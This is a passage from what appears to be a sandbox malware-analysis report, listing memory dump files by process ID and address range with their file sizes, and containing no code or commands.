                                                                                                                                                                                                                                        584KB

                                                                                                                                                                                                                                      • memory/4620-393-0x0000000005510000-0x0000000005560000-memory.dmp

                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                        320KB

                                                                                                                                                                                                                                      • memory/4620-911-0x0000000006DF0000-0x0000000006DFA000-memory.dmp

                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                        40KB

                                                                                                                                                                                                                                      • memory/4620-381-0x0000000070F20000-0x0000000072174000-memory.dmp

                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                        18.3MB

                                                                                                                                                                                                                                      • memory/4620-389-0x0000000000D70000-0x0000000000E36000-memory.dmp

                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                        792KB

                                                                                                                                                                                                                                      • memory/4620-396-0x00000000053A0000-0x00000000053AA000-memory.dmp

                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                        40KB

                                                                                                                                                                                                                                      • memory/4708-329-0x00000266E70A0000-0x00000266E70C2000-memory.dmp

                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                        136KB

                                                                                                                                                                                                                                      • memory/4712-346-0x0000000000400000-0x00000000008AD000-memory.dmp

                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                        4.7MB

                                                                                                                                                                                                                                      • memory/4712-276-0x0000000000400000-0x00000000008AD000-memory.dmp

                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                        4.7MB